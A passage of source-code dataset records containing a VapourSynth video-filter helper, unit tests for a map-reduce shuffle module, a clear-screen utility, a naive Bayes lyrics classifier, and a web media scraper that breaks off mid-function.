TypeError('TemporalDegrain: \"limit\" must be an int!')\n if not isinstance(sad1, int):\n raise TypeError('TemporalDegrain: \"sad1\" must be an int!')\n if not isinstance(sad2, int):\n raise TypeError('TemporalDegrain: \"sad2\" must be an int!')\n if not isinstance(hq, int):\n raise TypeError('TemporalDegrain: \"hq\" must be an int!')\n if hq > 0:\n raise NotImplementedError('TemporalDegrain: \"hq\" > 0 is not implemented!')\n\n o = input_\n s2 = int(sigma * 0.625)\n s3 = int(sigma * 0.375)\n s4 = int(sigma * 0.250)\n ow = int(bw / 2)\n oh = int(bh / 2)\n ov = int(blksize / 2) if not ov or ov*2 > blksize else ov\n\n if denoise:\n filter_ = denoise\n elif gpu:\n filter_ = o.FFT3DGPU(sigma=sigma, sigma2=s2 , sigma3=s3, sigma4=s4, bt=4, bw=bw, bh=bh, ow=ow, oh=oh) # not implemented\n else:\n filter_ = core.fft3dfilter.FFT3DFilter(o, sigma=sigma, sigma2=s2, sigma3=s3, sigma4=s4, bt=4, bw=bw, bh=bh, ow=ow, oh=oh)\n if hq >= 1:\n filter_ = filter_.HQdn3D(4,3,6,3) # not implemented\n\n spat = filter_\n spatd = core.std.MakeDiff(o, spat)\n\n srch = filter_\n srch_super = core.mv.Super(filter_, pel=pel)\n\n if degrain == 3:\n bvec3 = core.mv.Analyse(srch_super, isb=True, delta=3, blksize=blksize, overlap=ov)\n else:\n bvec3 = core.std.BlankClip()\n if degrain >= 2:\n bvec2 = core.mv.Analyse(srch_super, isb=True, delta=2, blksize=blksize, overlap=ov)\n else:\n bvec2 = core.std.BlankClip()\n bvec1 = core.mv.Analyse(srch_super, isb=True, delta=1, blksize=blksize, overlap=ov)\n fvec1 = core.mv.Analyse(srch_super, isb=False, delta=1, blksize=blksize, overlap=ov)\n if degrain >= 2:\n fvec2 = core.mv.Analyse(srch_super, isb=False, delta=2, blksize=blksize, overlap=ov)\n else:\n fvec2 = core.std.BlankClip()\n if degrain == 3:\n fvec3 = core.mv.Analyse(srch_super, isb=False, delta=3, blksize=blksize, overlap=ov)\n else:\n fvec3 = core.std.BlankClip()\n\n o_super = core.mv.Super(o, pel=2, levels=1)\n\n if degrain == 3:\n nr1 = core.mv.Degrain3(o, o_super, bvec1, fvec1, bvec2, fvec2, bvec3, fvec3, thsad=sad1, limit=limit)\n elif degrain == 2:\n nr1 = core.mv.Degrain2(o, o_super, bvec1, fvec1, bvec2, fvec2, thsad=sad1, limit=limit)\n else:\n nr1 = core.mv.Degrain1(o, o_super, bvec1, fvec1, thsad=sad1, limit=limit)\n nr1d = core.std.MakeDiff(o, nr1)\n\n dd = core.std.Expr([spatd, nr1d], 'x 128 - abs y 128 - abs < x y ?')\n nr1x = core.std.MakeDiff(o, dd, planes=0)\n\n nr1x_super = core.mv.Super(nr1x, pel=2, levels=1)\n\n if degrain == 3:\n nr2 = core.mv.Degrain3(nr1x, nr1x_super, bvec1, fvec1, bvec2, fvec2, bvec3, fvec3, thsad=sad2, limit=limit)\n elif degrain == 2:\n nr2 = core.mv.Degrain2(nr1x, nr1x_super, bvec1, fvec1, bvec2, fvec2, thsad=sad2, limit=limit)\n else:\n nr2 = core.mv.Degrain1(nr1x, nr1x_super, bvec1, fvec1, thsad=sad2, limit=limit)\n\n if hq >= 2:\n nr2.HQDn3D(0,0,4,1) # not implemented\n\n s = haf.MinBlur(nr2, 1, 0)\n alld = core.std.MakeDiff(o, nr2)\n temp = core.rgvs.RemoveGrain(s, [11, 0])\n ssd = core.std.MakeDiff(s, temp)\n ssdd = core.rgvs.Repair(ssd, alld, 1)\n ssdd = core.std.Expr([ssdd, ssd], 'x 128 - abs y 128 - abs < x y ?')\n\n output = core.std.MergeDiff(nr2, ssdd, planes=0)\n return output\n\n\n# Helpers\n\n# Wrapper with fmtconv syntax that tries to use the internal resizers whenever it is possible\ndef Resize(src, w, h, sx=None, sy=None, sw=None, sh=None, kernel='spline36', taps=None, a1=None,\n a2=None, a3=None, invks=None, invkstaps=None, fulls=None, fulld=None):\n\n bits = src.format.bits_per_sample\n\n if (src.width, src.height, fulls) == (w, h, fulld):\n return src\n\n if kernel is None:\n kernel = 'spline36'\n kernel = kernel.lower()\n\n if invks and kernel == 'bilinear' and hasattr(core, 'unresize') and invkstaps is None:\n return core.unresize.Unresize(src, w, h, src_left=sx, src_top=sy)\n if invks and kernel in ['bilinear', 'bicubic', 'lanczos', 'spline16', 'spline36', 'spline64'] and hasattr(core, 'descale') and invkstaps is None:\n return Descale(src, w, h, kernel=kernel, b=a1, c=a2, taps=taps)\n if not invks:\n if kernel == 'bilinear':\n return core.resize.Bilinear(src, w, h, range=fulld, range_in=fulls, src_left=sx, src_top=sy,\n src_width=sw, src_height=sh)\n if kernel == 'bicubic':\n return core.resize.Bicubic(src, w, h, range=fulld, range_in=fulls, filter_param_a=a1, filter_param_b=a2,\n src_left=sx, src_top=sy, src_width=sw, src_height=sh)\n if kernel == 'spline16':\n return core.resize.Spline16(src, w, h, range=fulld, range_in=fulls, src_left=sx, src_top=sy,\n src_width=sw, src_height=sh)\n if kernel == 'spline36':\n return core.resize.Spline36(src, w, h, range=fulld, range_in=fulls, src_left=sx, src_top=sy,\n src_width=sw, src_height=sh)\n if kernel == 'spline64':\n return core.resize.Spline64(src, w, h, range=fulld, range_in=fulls, src_left=sx, src_top=sy,\n src_width=sw, src_height=sh)\n if kernel == 'lanczos':\n return core.resize.Lanczos(src, w, h, range=fulld, range_in=fulls, filter_param_a=taps,\n src_left=sx, src_top=sy, src_width=sw, src_height=sh)\n return Depth(core.fmtc.resample(src, w, h, sx=sx, sy=sy, sw=sw, sh=sh, kernel=kernel, taps=taps,\n a1=a1, a2=a2, a3=a3, invks=invks, invkstaps=invkstaps, fulls=fulls, fulld=fulld), bits)\n\n\ndef Debilinear(src, width, height, yuv444=False, gray=False, chromaloc=None):\n return Descale(src, width, height, kernel='bilinear', taps=None, b=None, c=None, yuv444=yuv444, gray=gray, chromaloc=chromaloc)\n\ndef Debicubic(src, width, height, b=0.0, c=0.5, yuv444=False, gray=False, chromaloc=None):\n return Descale(src, width, height, kernel='bicubic', taps=None, b=b, c=c, yuv444=yuv444, gray=gray, chromaloc=chromaloc)\n\ndef Delanczos(src, width, height, taps=3, yuv444=False, gray=False, chromaloc=None):\n return Descale(src, width, height, kernel='lanczos', taps=taps, b=None, c=None, yuv444=yuv444, gray=gray, chromaloc=chromaloc)\n\ndef Despline16(src, width, height, yuv444=False, gray=False, chromaloc=None):\n return Descale(src, width, height, kernel='spline16', taps=None, b=None, c=None, yuv444=yuv444, gray=gray, chromaloc=chromaloc)\n\ndef Despline36(src, width, height, yuv444=False, gray=False, chromaloc=None):\n return Descale(src, width, height, kernel='spline36', taps=None, b=None, c=None, yuv444=yuv444, gray=gray, chromaloc=chromaloc)\n\ndef Despline64(src, width, height, yuv444=False, gray=False, chromaloc=None):\n return Descale(src, width, height, kernel='spline64', taps=None, b=None, c=None, yuv444=yuv444, gray=gray, chromaloc=chromaloc)\n\n\ndef Descale(src, width, height, kernel=None, custom_kernel=None, taps=None, b=None, c=None, yuv444=False, gray=False, chromaloc=None):\n src_f = src.format\n src_cf = src_f.color_family\n src_st = src_f.sample_type\n src_bits = src_f.bits_per_sample\n src_sw = src_f.subsampling_w\n src_sh = src_f.subsampling_h\n\n if src_cf == vs.RGB and not gray:\n rgb = to_rgbs(src).descale.Descale(width, height, kernel, custom_kernel, taps, b, c)\n return rgb.resize.Point(format=src_f.id)\n\n y = to_grays(src).descale.Descale(width, height, kernel, custom_kernel, taps, b, c)\n y_f = core.query_video_format(vs.GRAY, src_st, src_bits, 0, 0)\n y = y.resize.Point(format=y_f.id)\n\n if src_cf == vs.GRAY or gray:\n return y\n\n if not yuv444 and ((width % 2 and src_sw) or (height % 2 and src_sh)):\n raise ValueError('Descale: The output dimension and the subsampling are incompatible.')\n\n uv_f = core.query_video_format(src_cf, src_st, src_bits, 0 if yuv444 else src_sw, 0 if yuv444 else src_sh)\n uv = src.resize.Spline36(width, height, format=uv_f.id, chromaloc_s=chromaloc)\n\n return core.std.ShufflePlanes([y,uv], [0,1,2], vs.YUV)\n\n\ndef to_grays(src):\n return src.resize.Point(format=vs.GRAYS)\n\n\ndef to_rgbs(src):\n return src.resize.Point(format=vs.RGBS)\n\n\ndef get_plane(src, plane):\n return core.std.ShufflePlanes(src, plane, vs.GRAY)\n\n\ndef Depth(src, bits, dither_type='error_diffusion', range=None, range_in=None):\n src_f = src.format\n src_cf = src_f.color_family\n src_st = src_f.sample_type\n src_bits = src_f.bits_per_sample\n src_sw = src_f.subsampling_w\n src_sh = src_f.subsampling_h\n dst_st = vs.INTEGER if bits < 32 else vs.FLOAT\n\n if isinstance(range, str):\n range = RANGEDICT[range]\n\n if isinstance(range_in, str):\n range_in = RANGEDICT[range_in]\n\n if (src_bits, range_in) == (bits, range):\n return src\n out_f = core.query_video_format(src_cf, dst_st, bits, src_sw, src_sh)\n return core.resize.Point(src, format=out_f.id, dither_type=dither_type, range=range, range_in=range_in)\n\n\nTYPEDICT = {vs.VideoNode: 'a clip', int: 'an int', float: 'a float', bool: 'a bool', str: 'a str', list: 'a list'}\n\nRANGEDICT = {'limited': 0, 'full': 1}\n","sub_path":"fvsfunc.py","file_name":"fvsfunc.py","file_ext":"py","file_size_in_byte":59310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"502518858","text":"import os\nfrom unittest import TestCase\nfrom nose.tools import eq_\nimport tempfile\nimport shutil\nimport gzip\n\nfrom leisure import shuffle, disco\nfrom leisure.path import makedirs\n\ndef cat(fname, content):\n open(fname,'w').write(content)\n\n\nclass TestShuffle(TestCase):\n\n def setUp(self):\n\n self.data_root = tempfile.mkdtemp()\n\n self.job_name = \"Job@123\"\n self.host = \"localhost\"\n self.job_home = disco.job_home(self.job_name, os.path.join(self.data_root, self.host))\n self.job_url = disco.job_url(self.host, self.job_name)\n\n makedirs(self.job_home)\n \n self.part_info = self.make_part_info(self.job_home)\n \n \n\n def tearDown(self):\n shutil.rmtree(self.data_root)\n\n def make_part_info(self, job_home):\n part_dir = \"partitions-{}\".format(disco.timestamp())\n part_path = os.path.join(\n job_home,\n part_dir\n )\n makedirs(part_path)\n\n part_url = os.path.join(\"disco://localhost\", self.job_url, part_dir)\n\n return (\n part_path,\n part_url\n )\n\n def mk_output_file(self, name, content, job_home=None):\n if job_home is None:\n job_home = self.job_home\n\n path = os.path.join(job_home, name)\n cat(path, content)\n return path\n\n\n def mk_task_results(self, task_name, mode='map', host=\"localhost\"):\n \"\"\"\n Creates a file suitable for using as task results and return it's url\n \"\"\"\n\n job_home = disco.job_home(self.job_name, os.path.join(self.data_root, host))\n\n self.mk_output_file('{}-0'.format(mode), \n 'line1\\n'\n 'line2\\n',\n job_home=job_home\n )\n\n self.mk_output_file('{}-1'.format(mode), \n 'line1\\n'\n 'line2\\n',\n job_home=job_home\n )\n\n self.mk_output_file('{}-2'.format(mode), \n 'line1\\n'\n 'line2\\n',\n job_home=job_home\n )\n\n\n \n\n job_url = disco.job_url(host, self.job_name)\n\n makedirs(job_home)\n task_result_path = os.path.join(job_home, task_name)\n\n cat(task_result_path, \n (\n \"0 part://{host}/{job_url}/{mode}-0\\n\"\n \"1 part://{host}/{job_url}/{mode}-1\\n\"\n \"0 part://{host}/{job_url}/{mode}-2\\n\"\n ).format(job_url = job_url, host=host, mode=mode)\n )\n\n return os.path.join(\"disco://\", host, job_url, task_name)\n\n\n def test_write_index(self):\n index = [\n \"line1\\n\",\n \"line2\\n\"\n ]\n\n filename = os.path.join(self.data_root, \"blah\")\n shuffle.write_index(filename, index)\n\n read_lines = gzip.GzipFile(filename).readlines()\n self.assertSequenceEqual(index, read_lines)\n\n def test_process_url_non_local(self): \n\n eq_(\n '0 tag://blah\\n',\n shuffle.process_url(\n (\"0\", \"tag://blah\"), \n self.data_root,\n self.part_info\n )\n )\n\n def test_process_url_local(self):\n self.mk_output_file('map-0', \n 'line1\\n'\n 'line2\\n'\n )\n\n self.mk_output_file('map-1', \n 'line3\\n'\n 'line4\\n'\n )\n \n part_path,part_url = self.part_info\n part_dir = os.path.basename(part_path)\n \n eq_(\n '0 disco://localhost/{}/{}/part-0\\n'.format(self.job_url, part_dir),\n shuffle.process_url(\n (\"0\", \"part://localhost/{}/map-0\".format(self.job_url)), \n self.data_root,\n self.part_info\n )\n )\n\n eq_(\n open(os.path.join(part_path, \"part-0\")).read(),\n 'line1\\n'\n 'line2\\n'\n )\n\n eq_(\n '0 disco://localhost/{}/{}/part-0\\n'.format(self.job_url, part_dir),\n shuffle.process_url(\n (\"0\", \"part://localhost/{}/map-1\".format(self.job_url)), \n self.data_root,\n self.part_info\n )\n )\n\n eq_(\n open(os.path.join(part_path, \"part-0\")).read(),\n 'line1\\n'\n 'line2\\n'\n 'line3\\n'\n 'line4\\n'\n )\n\n def test_process_task(self):\n task_result_url = self.mk_task_results('task-1')\n part_files = list(shuffle.process_task(\n task_result_url, \n self.data_root, self.part_info\n ))\n\n part_url = self.part_info[1]\n\n expected = [ \n s.format(part_url=part_url) for s in [\n \"0 {part_url}/part-0\\n\",\n \"1 {part_url}/part-1\\n\",\n \"0 {part_url}/part-0\\n\"\n ]\n ] \n\n self.assertSequenceEqual(\n expected,\n part_files\n )\n\n def test_merged_index(self):\n dir_urls = [self.mk_task_results('task-1')]\n\n m_index = shuffle.merged_index(dir_urls, self.data_root, self.part_info)\n\n part_url = self.part_info[1]\n\n expected = [ \n s.format(part_url=part_url) for s in [\n \"0 {part_url}/part-0\\n\",\n \"1 {part_url}/part-1\\n\",\n ]\n ] \n\n self.assertSequenceEqual(\n set(expected),\n m_index\n )\n\n def test_combine_tasks(self):\n task_results =[\n [\n \"node1\", \n self.mk_task_results('task-1', \"node1\",)\n ],\n\n [\"node2\", self.mk_task_results('task-1', \"node2\")],\n [\"node1\", self.mk_task_results('task-2', \"node1\")]\n ]\n \n indexes = list(shuffle.combine_tasks(\n data_root=self.data_root,\n job=self.job_name, \n mode=\"map\", \n task_results=task_results\n ))\n\n\n","sub_path":"tests/test_shuffle.py","file_name":"test_shuffle.py","file_ext":"py","file_size_in_byte":4983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"167909042","text":"import os\n#from time import sleep\n# The screen clear function\ndef clear():\n # for mac and linux(here, os.name is 'posix')\n if os.name == 'posix':\n _ = os.system('clear')\n else:\n # for windows platfrom\n _ = os.system('cls')\n # print out some text\n#print(\"The platform is: \", os.name)\n#print(\"big output\\n\"* 5)\n## wait for 5 seconds to clear screen\n#sleep(5)\n# now call function we defined above\n#screen_clear()","sub_path":"Day 11/clearscreen.py","file_name":"clearscreen.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"260571585","text":"'''\nCBGB-Lyrics-Checker\n'''\n\nimport pandas as pd\n\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.metrics import confusion_matrix\n\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\n\nARTIST = ['Blondie', 'Iggy Pop', 'Ramones', 'Talking Heads']\nARTIST_LAST = ['Blondie', 'Pop', 'Ramones', 'Heads']\n\ndef create_train_test_df(df):\n\n df_test = pd.DataFrame(columns=['text', 'label'])\n df_train = pd.DataFrame(columns=['text', 'label'])\n\n artist_count = {'Ramones': 0, 'Heads': 0, 'Blondie': 0, 'Pop': 0}\n count_max = 150\n\n for i, j in df.iterrows():\n if str(j).split()[-5] in ARTIST_LAST:\n if artist_count[str(j).split()[-5]] < count_max:\n df_train.loc[i] = [df['text'][i]] + [df['label'][i]]\n artist_count[str(j).split()[-5]] += 1\n else:\n df_test.loc[i] = [df['text'][i]] + [df['label'][i]]\n else:\n continue\n\n return df_train, df_test\n\n\ndef vectorize(df_train):\n cv = CountVectorizer(stop_words='english')\n tf = TfidfTransformer()\n\n vec_train = cv.fit_transform(df_train['text'].values.tolist())\n vec2_train = tf.fit_transform(vec_train)\n\n return cv, tf, vec2_train\n\n\ndef fit_model(vec2_train, df_train):\n X = vec2_train\n y = df_train['label']\n\n m = MultinomialNB()\n m.fit(X, y)\n\n return m\n\n\ndef prediction(df_test, cv, tf, m):\n vec_test = cv.transform(df_test['text'].values.tolist())\n vec2_test = tf.transform(vec_test)\n\n ypred = m.predict(vec2_test)\n df_test['ypred'] = ypred\n\n return df_test\n\n\ndef plot_heatmap(df_test):\n plt.figure(figsize=(5, 5))\n sns.heatmap(confusion_matrix(df_test['label'], df_test['ypred']),\n annot=True,\n cmap='Oranges',\n xticklabels=ARTIST,\n yticklabels=ARTIST\n )\n plt.show()\n\n#--------------------------------------------\n\nif __name__ == \"__main__\":\n df = pd.read_csv('output_lyrics.csv')\n df_train, df_test = create_train_test_df(df)\n cv, tf, vec2_train = vectorize(df_train)\n m = fit_model(vec2_train, df_train)\n df_test = prediction(df_test, cv, tf, m)\n plot_heatmap(df_test)\n","sub_path":"Lyrics_predictor.py","file_name":"Lyrics_predictor.py","file_ext":"py","file_size_in_byte":2300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"71828688","text":"import hashlib\nimport json\nimport os\nimport re\nimport shutil\nimport socket\nimport sys\nimport urllib.request\nfrom urllib.parse import urljoin, urlparse\ntry:\n from BeautifulSoup import BeautifulSoup\nexcept ImportError:\n from bs4 import BeautifulSoup\nfrom .command_base import Command\nfrom shrdluv import data\n\n\nTIMEOUT = 30\n\n\nclass PullCommand(Command):\n def command_word(self):\n return \"pull\"\n\n def help_short(self):\n return \"Retrieve media and/or links from a URL\"\n\n def arg_parser(self):\n parser = super().arg_parser()\n parser.add_argument(\"url\")\n return parser\n\n def run(self, args):\n try:\n parsed = self.arg_parser().parse_args(args[1:])\n result = pull_url(parsed.url)\n print(json.dumps(result, indent=4, sort_keys=True))\n return result\n except ValueError as e:\n print(\"error:\", e)\n return {\"status\": \"error\", \"data\": {\"error\": e}}\n\n\n# parsed: BeautifulSoup() result\ndef find_base(url, parsed):\n base = url\n for link in parsed.find_all(\"base\"):\n _base = link.get(\"href\")\n if _base is not None:\n base = urljoin(base, _base)\n return base\n\n\n# return: url string or None\ndef extract_url(base, element):\n href = element.get(\"href\")\n if href is None:\n href = element.get(\"src\")\n if href is None:\n return None\n i = href.find(\":\")\n # handle e.g. \"/out.htm?url=http://...\"\n if \"?\" in href[:i]:\n i = -1\n if i == -1:\n href = urljoin(base, href)\n elif href[:i] not in [\"http\", \"https\"]:\n return None\n href = href.replace(\" \", \"%20\")\n return href\n\n\n# return: dict (JSend - https://labs.omniti.com/labs/jsend)\ndef pull_url(url, report_next=False):\n try:\n urlopenresult = urllib.request.urlopen(url, timeout=TIMEOUT)\n except urllib.error.URLError as e:\n print(\"*** Error (URLError) retrieving\", url, \"--\", e)\n mark_problem(url)\n return {\"status\": \"error\", \"message\": str(e), \"data\": {\"url\": url}}\n except urllib.error.HTTPError:\n print(\"*** Error (HTTPError) retrieving\", url, \"--\", e)\n mark_problem(url)\n return {\"status\": \"error\", \"message\": str(e), \"data\": {\"url\": url}}\n except socket.timeout:\n print(\"*** Timeout retrieving\", url)\n mark_problem(url)\n return {\"status\": \"error\", \"message\": \"Timed out\", \"data\": {\"url\": url}}\n\n goturl = urlopenresult.geturl()\n linkmap = {} # key: link url; value: url to use as referer\n parsed = None\n next_link = None\n if goturl != url:\n print(\"Redirected from\", url, \"to\", goturl)\n mark_downloaded(url)\n linkmap[goturl] = url\n next_link = goturl\n else:\n contents = urlopenresult.read()\n parsed = BeautifulSoup(contents, \"html.parser\")\n base = find_base(url, parsed)\n for link in parsed.find_all(\"a\"):\n href = extract_url(base, link)\n if href is not None:\n linkmap[href] = url\n for link in parsed.find_all(\"source\"):\n href = extract_url(base, link)\n if href is not None and is_media_link(href):\n linkmap[href] = url\n\n try:\n find_wraps(linkmap)\n except urllib.error.URLError as e:\n print(\"*** Error checking wrappers for\", url, \"--\", e)\n mark_problem(url)\n return {\"status\": \"error\", \"message\": str(e), \"data\": {\"ur\": url}}\n except socket.timeout:\n print(\"*** Timeout checking wrappers for\", url)\n mark_problem(url)\n return {\"status\": \"error\", \"message\": \"Wrapper timed out\", \"data\": {\"url\": url}}\n\n rewrite_links(linkmap)\n try:\n check_incrementors(url, linkmap)\n except urllib.error.URLError as e:\n print(\"*** Error checking incrementors for\", url, \"--\", e)\n mark_problem(url)\n return {\"status\": \"error\", \"message\": str(e), \"data\": {\"ur\": url}}\n except socket.timeout:\n print(\"*** Timeout checking incrementors for\", url)\n mark_problem(url)\n return {\"status\": \"error\", \"message\": \"Incrementor timed out\", \"data\": {\"url\": url}}\n if url in linkmap:\n del(linkmap[url])\n ignored_count = ignore_links(linkmap)\n filter_problem(linkmap)\n downloaded_gallery_count = filter_downloaded(linkmap)\n new_gallery_count = filter_galleries(linkmap)\n aggcount = filter_aggregators(linkmap)\n media_links = filter_media_links(linkmap, url)\n\n download_count = 0\n download_duplicate_hash_count = 0\n downloaded_hashes = []\n shutil.rmtree(\"temp\", ignore_errors=True)\n os.mkdir(\"temp\")\n for l in media_links.keys():\n file_name = filename_from_url(l)\n destpath = os.path.join(\"temp\", file_name)\n # TODO: if it looks like timeout on download is a problem, try using select around urlopen/read as in: https://stackoverflow.com/questions/21429369/read-file-with-timeout-in-python#21429655\n try:\n req = urllib.request.Request(l)\n req.add_header('Referer', media_links[l])\n with urllib.request.urlopen(req, timeout=TIMEOUT) as response, open(destpath, \"wb\") as out_file:\n shutil.copyfileobj(response, out_file)\n except urllib.error.URLError as e:\n print(\"*** Error (URLError) retrieving media for\", url, \"--\", e)\n mark_problem(url)\n return {\"status\": \"error\", \"message\": str(e), \"data\": {\"url\": url}}\n except urllib.error.HTTPError:\n print(\"*** Error (HTTPError) retrieving media for\", url, \"--\", e)\n mark_problem(url)\n return {\"status\": \"error\", \"message\": str(e), \"data\": {\"url\": url}}\n h = compute_hash(destpath)\n if data.is_downloaded_hash(h):\n print(\"Already downloaded:\", l)\n os.remove(destpath)\n download_duplicate_hash_count += 1\n else:\n download_count += 1\n downloaded_hashes.append(h)\n if download_count == 0:\n print(\"No media downloaded\")\n\n dlcount = 0\n if download_count > 0:\n dest_dir = os.path.join(\"stage\", urlparse(url).hostname, url.replace(\"/\", \"_\").replace(\":\", \"_\").replace(\"?\", \"_\").replace(\"&\", \"_\"))\n try:\n os.makedirs(dest_dir)\n except FileExistsError:\n pass\n for f in os.listdir(\"temp\"):\n try:\n shutil.move(os.path.join(\"temp\", f), dest_dir)\n except shutil.Error as e:\n if str(e).endswith(\"already exists\"):\n pass\n else:\n raise e\n dlcount += 1\n\n manifest_path = os.path.join(dest_dir, \"manifest_stage.json\")\n manifest = {}\n try:\n with open(manifest_path) as f:\n manifest = json.load(f)\n except FileNotFoundError:\n pass\n manifest[\"url\"] = url\n with open(manifest_path, \"w\") as f:\n json.dump(manifest, f)\n # update downloaded\n mark_downloaded(url)\n\n data.mark_downloaded_hashes(downloaded_hashes)\n elif download_duplicate_hash_count > 0:\n # media found, but it's all been downloaded already\n mark_downloaded(url)\n else:\n # no media found: if not an aggregator (or implied aggregator, via report_next), mark url as problem\n if report_next or data.is_aggregator(url):\n pass\n else:\n mark_problem(url)\n\n # update unknowns\n unknown_count_old = data.count_unknowns()\n unknown_count_new = unknown_count_old\n if len(linkmap) > 0:\n data.add_unknown_urls(list(linkmap.keys()))\n unknown_count_new = data.count_unknowns()\n\n result = {\n \"status\": \"success\", \n \"data\": { \n \"media_downloaded\": dlcount,\n \"media_already_downloaded\": download_duplicate_hash_count,\n \"aggregators\": aggcount,\n \"unknown_new\": max(0, unknown_count_new - unknown_count_old),\n \"ignored\": ignored_count,\n \"galleries_new\": new_gallery_count,\n \"galleries_downloaded\": downloaded_gallery_count,\n } \n }\n if report_next:\n if parsed:\n next_link = first_next_link_candidate(url, parsed)\n if next_link:\n result[\"data\"][\"next_link\"] = next_link\n return result\n\n\n# parsed: BeautifulSoup() result\n# return url string or none\ndef first_next_link_candidate(url, parsed):\n base = find_base(url, parsed)\n for link in parsed.find_all(\"a\"):\n if link.string is not None and link.string.lower() in [\"next\", \"next >>\", \"next >\", \">\", \">>\", \"show more results\", \"›\", \"»\", \"next »\"]:\n href = extract_url(base, link)\n if href is not None:\n return href\n title = link.get(\"title\")\n if title is not None and title.lower() in [\"next page\", \"next\"]:\n href = extract_url(base, link)\n if href is not None:\n return href\n cl = link.get(\"class\")\n if cl is not None:\n for s in [\"pagination-link__right\", \"next\"]:\n if s in cl:\n href = extract_url(base, link)\n if href is not None:\n return href\n for i in link.find_all(\"i\"):\n cl = i.get(\"class\")\n if cl is not None and \"fa-angle-right\" in cl:\n href = extract_url(base, link)\n if href is not None:\n return href\n for link in parsed.find_all(\"link\"):\n rel = link.get(\"rel\")\n if type(rel) == list and len(rel) > 0:\n rel = rel[0]\n if rel in [\"next\"]:\n href = extract_url(base, link)\n if href is not None:\n return href\n for li in parsed.find_all(\"li\"):\n cl = li.get(\"class\")\n if cl is not None and \"next\" in cl:\n for a in li.find_all(\"a\"):\n href = extract_url(base, a)\n if href is not None:\n return href\n return None\n\n\n# add url to problems file; remove url form galleries file; remove url from unknowns file\ndef mark_problem(url):\n data.mark_problem(url)\n\n try:\n data.remove_gallery_url(url)\n except FileNotFoundError:\n pass\n\n try:\n data.remove_unknown_url(url)\n except FileNotFoundError:\n pass\n\n\n# add url to downloaded file; remove url from galleries file; remove url from unknowns file; remove url from problems file\ndef mark_downloaded(url):\n data.mark_downloaded(url)\n\n try:\n data.remove_gallery_url(url)\n except FileNotFoundError:\n pass\n\n try:\n data.remove_unknown_url(url)\n except FileNotFoundError:\n pass\n\n try:\n data.remove_problem_url(url)\n except FileNotFoundError:\n pass\n\n\n# links: map (url->url)\n# return: map (media url -> referer url)\ndef filter_media_links(links, url):\n media_links = {}\n for l in links.keys():\n if is_media_link(l):\n media_links[l] = links[l]\n for l in media_links.keys():\n del links[l]\n return media_links\n\n\ndef is_media_link(l):\n l = l.lower()\n for suf in [\".jpg\", \".jpeg\", \".mp4\", \".m4v\", \".mpg\", \".mpeg\", \".wmv\"]:\n if l.endswith(suf):\n return True\n return False\n\n\ndef rewrite_links(linkmap):\n rewrites = {}\n try:\n rewrites = data.load_rewrite_pattern_priority_map()\n except FileNotFoundError as e:\n pass\n links = list(linkmap.keys())\n for l in links:\n rewritten = data.rewrite_one_link(l, rewrites)\n if rewritten != l:\n v = linkmap[l]\n del(linkmap[l])\n linkmap[rewritten] = v\n\n\n# return: number of links ignored\ndef ignore_links(linkmap):\n ignores = []\n try:\n for line in data.enumerate_ignore_patterns():\n ignores.append(re.compile(line))\n except FileNotFoundError:\n pass\n links = list(linkmap.keys())\n ignored_count = 0\n for l in links:\n for i in ignores:\n if i.match(l):\n del(linkmap[l])\n ignored_count += 1\n return ignored_count\n\n\n# return: number of aggregators found\ndef filter_aggregators(linkmap):\n aggs = []\n try:\n for line in data.enumerate_aggregators():\n aggs.append(line)\n except FileNotFoundError:\n pass\n links = list(linkmap.keys())\n aggcount = 0\n for l in links:\n if l in aggs:\n del(linkmap[l])\n aggcount += 1\n return aggcount\n\n# return: number of galleries found\ndef filter_galleries(linkmap):\n galpats = []\n try:\n for line in data.enumerate_gallery_patterns():\n galpats.append(re.compile(line))\n except FileNotFoundError:\n pass\n links = list(linkmap.keys())\n galleries = []\n for l in links:\n for gp in galpats:\n if gp.match(l):\n del(linkmap[l])\n galleries.append(l)\n break\n # update galleries file\n galleries_count_old = data.count_galleries()\n data.add_gallery_urls(galleries)\n galleries_count_new = data.count_galleries()\n return max(0, galleries_count_new - galleries_count_old)\n\n\n# return: number of downloaded urls found\ndef filter_downloaded(linkmap):\n downloaded = []\n links = list(linkmap.keys())\n try:\n for line in data.enumerate_downloaded():\n if line in links:\n downloaded.append(line)\n del(linkmap[line])\n except FileNotFoundError as e:\n pass\n return len(downloaded)\n\n\ndef filter_problem(linkmap):\n problems = []\n links = list(linkmap.keys())\n try:\n for line in data.enumerate_problem_urls():\n if line in links:\n problems.append(line)\n del(linkmap[line])\n except FileNotFoundError as e:\n pass\n return len(problems)\n\n\ndef find_wraps(linkmap):\n wrap_res = []\n try:\n for p in data.enumerate_wrap_patterns():\n wrap_res.append(re.compile(p))\n except FileNotFoundError:\n pass\n embed_res = []\n try:\n for p in data.enumerate_embed_patterns():\n embed_res.append(re.compile(p))\n except FileNotFoundError:\n pass\n for l in list(linkmap.keys()):\n for w in wrap_res:\n if w.match(l):\n check_wrap(l, linkmap[l], embed_res, linkmap)\n\n\n# link, referer: url string\n# embed_res: list of compiled REs (matching embedded images)\n# linkmap: url string -> url string; modified in place\ndef check_wrap(link, referer, embed_res, linkmap):\n embed_res = []\n try:\n for p in data.enumerate_embed_patterns():\n embed_res.append(re.compile(p))\n except FileNotFoundError:\n pass\n\n req = urllib.request.Request(link)\n req.add_header('Referer', referer)\n try:\n contents = urllib.request.urlopen(req, timeout=TIMEOUT).read()\n except Exception as e:\n print(\"Checking wrap {} caught {}\".format(link, e))\n return\n\n parsed = BeautifulSoup(contents, \"html.parser\")\n base = link\n for link in parsed.find_all(\"base\"):\n _base = link.get(\"href\")\n if _base is not None:\n base = _base\n for img in parsed.find_all(\"img\"):\n href = img.get(\"src\")\n if href is None:\n continue\n i = href.find(\":\")\n if i == -1:\n href = urljoin(base, href)\n elif href[:i] not in [\"http\", \"https\"]:\n continue\n for e in embed_res:\n if e.match(href):\n linkmap[href] = link\n\n\ndef check_incrementors(url, linkmap):\n 